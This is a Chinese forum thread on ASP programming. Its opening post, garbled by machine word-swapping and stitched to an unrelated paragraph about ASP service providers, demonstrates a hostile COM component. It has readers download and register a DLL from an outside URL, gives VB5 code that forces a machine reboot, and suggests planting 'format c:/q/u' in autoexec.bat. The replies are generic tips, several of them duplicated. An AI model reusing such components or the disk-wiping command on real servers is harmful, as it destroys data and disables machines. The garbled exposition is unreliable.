再现理想 发表于 2015-2-3 23:35:27

ASP网页设计ASP主件中的平安成绩

ASP由于使用了COM组件所以它会变的十分强大,但是这样的强大由于Windows NT系统最初的设计问题而会引发大量的安全问题。只要在这样的组件或是操作中一不注意,哪么外部攻击就可以取得相当高的权限而导致网站瘫痪或者数据丢失;平安|成绩   
  Microsoft推出的asp以复杂,易用,多功效,可扩大性等壮大功效失掉了网友和大多半网管的喜爱,大有完整替换cgi的趋向,然而在这里也存在一些成绩,假如在利用asp的话,你收集的平安同时也大大下降了!上面为人人举一个例子,请依照上面的步调:

1,下载这个文件http://home.gbsource.net/xuankong/dll.zip,解紧缩后吧个中的test.dll文件拷贝到c:\windows\system(假如你利用的是NT的话,请拷贝到响应的目次中);
2,接上去翻开“入手下手/运转”菜单输出“regsvr32test.dll”号令;
3,拷贝解紧缩后的文件包中的谁人index.asp到你的办事器目次(假如你利用的是PWS调试可以拷贝到“c:\inetpub\wwwroot“,NT请拷贝到响应的目次);
4,换一台机械用IE阅读index.asp文件看一看(你看到的是失足代码,然而实践上法式已运转了),你再前往你的机械看一看c:\上面是否是多了一个文件?一个名为xuankong.dat的文件(其实假如我情愿,你的c:\autoexec.bat文件页可以被我翻开并写出来一些像"format c:/q/u"等号令,那末等你下次从头启动的时分,嘿嘿。)。
上面咱们来看一下究竟是怎样回事,你方才拷贝的那些dll文件实际上是我利用Visul Basic5开辟的一个主件:
  1,翻开VB5新建一个“ActiveX.dll”文件,吧上面的代码输出出来:
Private Declare Function ExitWindowsEx Lib "user32"_
(ByVal uFlags As Long,ByVal dwReserved As Long)_
As Long
Sub Xuankong() "请不要加上“private”
a$=InputBox("请输出你的姓名,假如你输出的是"xuankong""+Chr(13)+Chr(10)+
"则会在你的体系中生成一个"xuankong"文件"+Chr(10)+Chr(13)+
"不然你的机械能够会重起","请输出","xuankong")
If a$="xuankong" Then
Open "c:\xuankong.dat" For Append As #Write#1,"我的伴侣,这是一个asp主件测试法式"
#Write#1,"hello world!this is a test"
#Write#1,"假如你看到这个文件测试就胜利!"
else
ExitWindowsEx&H43,0利用API函数从头启念头器
End if
Close #1
End sub
  2,把工程名改成dll,类模块改成test,然后把这个工程生成dll文件到c:\windows\system目次上面。
  3,新建一个index.asp文件上面的代码输出出来:
$#@60;html$#@62;$#@60;head$#@62;$#@60;title$#@62;这是一个关于asp主件的测试$#@60;/title$#@62;$#@60;/head$#@62;
$#@60;body$#@62;
$#@60;% set rs=server.createobject("dll.test") %$#@62;
$#@60;% set rs1=rs.xuankong rs1.execute %$#@62;
$#@60;/body$#@62;
$#@60;/html$#@62;
  4,拷贝index.asp到你的办事器内,依照下面的办法调试!
下面所说的是asp主件的平安成绩!别的假如有些作者再写asp主件的时分不当心留下体系bug!那就加倍不轻易发明了!

帮助用户快速实现各种应用服务,ASP商有整合各方面资源的能力,可在短期内为用户提供所需的解决方案。例如,典型的ERP安装,如果要在客户端安装的话需要半年到二年的时间,但是美国的一些ASP商如USI和CORIO能在90—120天内提供ERP应用方案。

若天明 发表于 2015-2-4 03:05:15

下载一个源代码,然后再下载一个VBScript帮助,在源代码中遇到不认识的函数或是其他什么程序,都可以查帮助进行解决,这样学习效率很高。

不帅 发表于 2015-2-7 03:36:35

跟学别的语言一样,先掌握变量,流程控制语句(就是ifwhileselect)等,函数/过程,数组

admin 发表于 2015-2-16 00:50:05

不是很难但是英文要有一点基础网上的教程很少有系统的详细的去买书吧,另不用专门学习vb关于vbscript脚本在asp教材都有介绍

兰色精灵 发表于 2015-3-4 19:58:58

掌握asp的特性而且一定要知道为什么。

分手快乐 发表于 2015-3-11 20:51:19

用户端的浏览器不需要提供任何别的支持,这样大提高了用户与服务器之间的交互的速度。

飘飘悠悠 发表于 2015-3-13 03:10:51

不能只是将它停留在纸上谈兵的程度上。

爱飞 发表于 2015-3-20 11:23:00

ASP主要是用好六个对象,其实最主要的是用好其中两个:response和request,就可以随心所欲地控制网页变换和响应用户动作了。

深爱那片海 发表于 2015-3-28 06:04:09

跟学别的语言一样,先掌握变量,流程控制语句(就是ifwhileselect)等,函数/过程,数组

再现理想 发表于 2015-4-11 13:27:26

弱类型造成潜在的出错可能:尽管弱数据类型的编程语言使用起来回方便一些,但相对于它所造成的出错几率是远远得不偿失的。

山那边是海 发表于 2015-4-12 16:23:11

我可以结合自己的经验大致给你说一说,希望对你有所帮助,少走些弯路。

透明 发表于 2015-4-15 02:19:25

多看多学多思。多看一些关于ASP的书籍,一方面可以扩展知识面一方面可以鉴借别人是如何掌握、运用ASP的;多学善于关注别人,向同学老师多多学习,不论知识的大小;多思则是要将学到的知识灵活运用。

精灵巫婆 发表于 2015-4-22 00:32:19

Request:从字面上讲就是“请求”,因此这个是处理客户端提交的东东的,例如Resuest.Form,Request.QueryString,或者干脆Request("变量名")

小魔女 发表于 2015-5-1 16:10:32

从事这个行业,那么你可以学ASP语言,简单快速上手,熟练dreamweav排版,写asp代码,熟练photoshop处理图片,打好基础就行了

仓酷云 发表于 2015-5-6 19:56:45

下载一个源代码,然后再下载一个VBScript帮助,在源代码中遇到不认识的函数或是其他什么程序,都可以查帮助进行解决,这样学习效率很高。

谁可相欹 发表于 2015-5-6 22:09:27

ASP也是这几种脚本语言中最简单易学的开发语言。但ASP也是这几种语言中唯一的一个不能很好支持跨平台的语言。  因为ASP脚本语言非常简单,因此其代码也简单易懂,结合HTML代码,可快速地完成网站的应用程序。

活着的死人 发表于 2015-5-12 06:23:49

ASP也是这几种脚本语言中最简单易学的开发语言。但ASP也是这几种语言中唯一的一个不能很好支持跨平台的语言。  因为ASP脚本语言非常简单,因此其代码也简单易懂,结合HTML代码,可快速地完成网站的应用程序。

飘灵儿 发表于 2015-6-11 11:27:07

兴趣爱好,那么你无须学编程,申请一个域名和空间,在网上下载一些免费开源的CMS系统,你不用改代码,只须熟悉它们的后台操作,像office一样简单方便,很快就能建一个站点,很多站长都是这样做的

冷月葬花魂 发表于 2015-6-11 17:10:42

运用经典的例子。并且自己可以用他来实现一些简单的系统。如果可以对他进行进一步的修改,找出你觉得可以提高性能的地方,加上自己的设计,那就更上一个层次了,也就会真正地感到有所收获。

第二个灵魂 发表于 2015-6-14 21:23:22

在平时的学习过程中要注意现学现用,注重运用,在掌握了一定的基础知识后,我们可以尝试做一些网页,也许在开始的时候我们可能会遇到很多问题,比如说如何很好的构建基本框架。
页: [1]
查看完整版本: ASP网页设计ASP主件中的平安成绩